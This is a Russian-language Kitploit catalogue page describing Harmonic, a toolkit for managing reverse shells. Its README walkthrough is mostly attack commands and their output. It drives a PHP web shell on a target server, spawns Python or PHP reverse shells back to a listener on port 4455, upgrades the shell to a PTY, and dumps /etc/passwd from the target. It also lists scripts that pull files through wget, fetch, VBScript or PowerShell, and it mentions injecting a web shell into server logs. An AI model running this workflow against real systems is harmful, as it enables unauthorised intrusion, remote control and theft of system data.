Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Harmonic — Набор инструментов для работы с обратными оболочками, ориентированный на работу в нативной оболочке. | Kitploit
Инструменты/GitLabGitLab/runik/harmonic
Повышение привилегийСкриптинг и автоматизацияЭксплуатация веб-приложенийСбор информацииПост-эксплуатацияТестирование на ПроникновениеКомандование и УправлениеИнструмент Удаленного ДоступаГенерация ШеллкодаРазработка Полезной Нагрузки
168 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitLab
runik/harmonic

Harmonic

Набор инструментов для работы с обратными оболочками, ориентированный на работу в нативной оболочке.

Репозиторий

Harmonic Suite

Начало набора linux-инструментов для управления и взаимодействия с обратными оболочками (код всё ещё находится в быстром и грязном состоянии, с минимальной обработкой исключений). Вдохновляясь философией UNIX, основная идея заключается в наличии демона для обработки произвольных конечных точек (connd, хотя это ещё не полноценный демон, но может работать в отдельном терминале) и запуске инструментов для работы с этими конечными точками.

Конечные точки «управляются» скриптом или процессом и представлены в виде файлов в файловой системе. Затем можно использовать тонкий клиент для взаимодействия с ними, но также можно легко записывать и читать с помощью shell-команд. Фактически, возможность запускать скрипты автономно из оболочки является ключевым фактором дизайна, когда в идеале скрипт будет зависеть только от наличия конечной точки, но также может использоваться в комбинации (каскадируя друг в друга).

Текущие варианты конечных точек:

  • nc — Запустить конечную точку netcat на определённом порту
  • wsh — Контекстная оболочка для взаимодействия с базовым веб-шелл скриптом
  • with — Запустить произвольный процесс в качестве конечной точки

Тонкий клиент (hthinc.py) предоставляет базовый интерфейс к конечным точкам системы, а также позволяет быстро запускать скрипты в системе. Было написано несколько базовых, но полезных скриптов:

  • sp — выполняет перебор на удалённой linux-системе, определяет языки сценариев (сейчас только python), запускает новую конечную точку и через текущую конечную точку создает интерактивную оболочку, подключающуюся к новой. Если указан драйвер, перебор пропускается и делается попытка использовать драйвер
  • lpc — запускает скрипт проверки повышения привилегий Linux через конечную точку
  • log — сохраняет вывод команды в текущий рабочий каталог
  • mac — запускает предопределённый макрос для конечной точки (как определено в разделе макросов $HCROOT/.hcrc)
  • pull — макро-скрипт для wget, который загружает файлы с портала (linux)
  • fpull — макро-скрипт для fetch, который загружает файлы с портала (*bsd)
  • wpinit — перечисляет скриптовые движки Windows (сейчас только VB) и генерирует файловый портальный скрипт для использования с wpull
  • vbpull — макро-скрипт для portal.vbs (см. wpinit), чтобы загружать файлы с портала (windows)
  • pspull — макро-скрипт для использования PowerShell для загрузки файла с портала (windows)

Типы драйверов обратных оболочек (т.е. что управляет оболочкой на удалённой системе) следующие (сейчас поддерживаются linux):

  • php
  • perl
  • fifo
  • python27
  • python3x

Другие скрипты:

  • hgenrsh.py — генерирует команду обратной оболочки python (сжатая и в base64), которая может форкнуть процесс
  • hcmd.py — запускает команду из локального окружения
  • hscr.py — запускает хук-скрипт
  • hdis.py — слушает соединение и отправляет произвольные данные клиенту из stdin
  • sys/bin/hpd.py — сервер портала для загрузки файлов по протоколу HTTP

Пример использования

  • Для примера $HCROOT указывает на каталог этого репозитория (см. конфигурацию внизу)
  • connd запущен как демон или обычный процесс.
    • Его можно запустить из $HCROOT/sys/bin/connd (сначала его нужно собрать)

Сообщите connd запустить конечную точку, используя драйвер wedge shell для предоставленного php-скрипта, который выполняет системные вызовы с форматированным ответом. Однако этот однострочный скрипт можно было так же легко внедрить в лог сервера

$ hconnd.py start wsh http://example.com/hwsh.php
1

Это создало конечную точку 1 (два канала ввода/вывода — вы можете видеть их как t1i и t1o в подкаталоге run). Теперь используем hthinc.py для взаимодействия с оболочкой.

$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0

Мы знаем, что это Linux-машина. Мы хотим уйти от встроенной веб-оболочки и получить нормальную оболочку. Запуск встроенной команды !help показывает справочное сообщение thinc. Мы можем запустить скрипт sp, который выполнит команды на удалённой системе, перебор среды, запустит конечную точку nc, создаст обратную оболочку и автоматически подключится через новый экземпляр hthinc.py:

runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

Или если мы знаем, что используем (например) PHP в качестве драйвера, можем указать его:

runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

И, скажем, у нас есть оболочка без TTY или мы хотим вырваться, можно запустить один из макросов по умолчанию:

$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$

Также, если мы хотим записать вывод команды, можно использовать скрипт log, который сохранит его в текущий рабочий каталог:

$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh

[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0

Пока конечные точки работают, вы можете подключать/отключать клиентов, так как процессы соединения управляются демоном

Быстрый повтор

Поскольку всё можно запустить более unix-способом, мы можем быстро повторять процессы из оболочки. Запускаем конечную точку webshell, получаем ID конечной точки, а затем из оболочки запускаем скрипт-спавнер sp.py для этой конечной точки (это тот же скрипт, что используется в hthinc.py, но с другой точкой входа).

$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

или одной строкой:

$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455

и легко автоматизировать:

$ cat reverse.sh 
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh 
<harmonic> basic shell spawner
[+] Running enumeration...
...
$

Запуск команды из вашего локального окружения

Инструмент hcmd.py позволяет быстро выполнить команду через конечную точку из вашей оболочки

$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux

и передать или перенаправить результаты как обычно

$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500

Отслеживание конечных точек

Вы можете использовать глагол list для hconn.py, чтобы увидеть текущий список конечных точек с состоянием соединения, если применимо

$ hconn.py list
1 [26616]:	/home/runik/Tools/harmonic/hwsh.py http://10.15.10.4/hwsh.php	
2 [26622]:	nc -lp 4455 	Established -> 10.15.10.4
3 [26659]:	nc -nlvp 4495	Listening

Работа с конечными точками как с файлами

Скачать инструмент